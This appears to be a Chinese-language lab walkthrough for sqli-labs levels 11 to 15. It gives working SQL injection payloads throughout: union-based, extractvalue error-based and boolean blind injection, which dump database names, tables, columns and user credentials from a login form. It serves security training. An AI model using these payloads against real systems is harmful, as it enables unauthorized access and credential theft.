sqli-labs-master靶场第十一关
一,进入sqli-labs-master靶场第十一关,列如:
127.0.0.1
发现页面存在登录界面
开始有了输入框,试着随便输入账号密码,发现提示失败,同时网页上面的链接位置不在有输入参数的信息,这说明,传参的方式由GET改成了POST。
二.我们随便输入一个用户名和密码使用BP抓包
抓到的包发送到repeater模块,查看正常回显是什么内容
这里有uname和passwd两个值,这两个都可能是注入点,我们都可以尝试一下
首先在uname的值加上单引号’
数据库语句报错,在passwd同理
说明俩个字段都存在注入点
判断注入点属于什么类型
输入uname=admin' and 1=1#
回显正常
输入uname=admin' and 1=2#
结果没有回显,说明这个注入点是单引号闭合错误的注入漏洞
三,判断字段
使用order by 语句
uname=admin' order by 1#
从1开始尝试,试到3的时候报错,说明当前表的字段有2个
四,爆库名
做到这一步的时候,发现在uname这个点注入是没有回显信息的,只显示了正常的数据。需要在passwd这点注入才会回显,因为我们在最后加入了注释符#,会把passwd这个字段的值給注释掉,导致没有数据的正常回显。
使用联合查询语句 union
uname=admin&passwd=1' union select 1,database() #
五,爆表名
使用group_concat()函数
uname=admin&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
六,爆字段名
uname=admin&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
七,爆值
使用concat_ws函数
uname=admin&passwd=1' union select 1,concat_ws(',',id,username,password) from security.users limit 0,1 #
uname=admin&passwd=1' union select 1,concat_ws(',',id,username,password) from security.users limit 1,1 #
通过修改limit 后面的值,就可以得到全部信息
sqli-labs-master靶场第十二关
一,测试万能钥匙登录成功
二,判断回显点
三,查看数据库
1") union select 1,database() #
四,查表名security
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
五,查看列
1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
六,查看users表的所有数据
1") union select 1,group_concat(username,password) from users#
sqli-labs-master靶场第十三关
一,1') or 1=1#显示登录成功
1') or 1=2#显示登录失败
没有回显点,使用报错注入
二,查看数据库
1') and extractvalue(1,concat(1,(select database())))#
三,查表名security
1') and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))#
四,查看列
1') and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#
五,查看users表的所有数据
1') and extractvalue(1,concat(1,(select group_concat(username,password) from users)))#
sqli-labs-master靶场第十四关
一,1" or 1=1#显示登录成功
1" or 1=2#显示登录失败
没有回显点,使用报错注入
二,查看数据库
1" and extractvalue(1,concat(1,(select database())))#
三,查表名security
1" and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))#
四,查看列
1" and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#
五,查看users表的所有数据
1" and extractvalue(1,concat(1,(select group_concat(username,password) from users)))#
sqli-labs-master靶场第十五关
一,判断闭合方式
1' or 1=1 #
页面只有ture和flase两种情况,所以需要使用布尔盲注
二,查看数据库
测试数据库长度
1' or length(database())=8#
测试数据库第一位字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :
1' or ascii(substr(database(),1,1))>114 #
判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
1' or ascii(substr(database(),1,1))>115#
以此类推.....最终得出数据库名为security
三,查security数据库中第一张表的第一位字符
1' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100#
1' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101#
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
以此类推......最终得出第一张表的表名为emails
四,判断users表中第一个字段的第一位字符
1' or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104#
1' or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105#
说明users表的第一个字段的第一位字符ascii码为105 'i'
以此类推......最终得出users表的第一个字段为id
五,判断username列的第一条数据的第一个字符
1' or ascii(substr((select username from users limit 0,1),1,1))>67#
1' or ascii(substr((select username from users limit 0,1),1,1))>68#
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
以此类推......最终得出users表里面的username字段的第一条数据为Dumb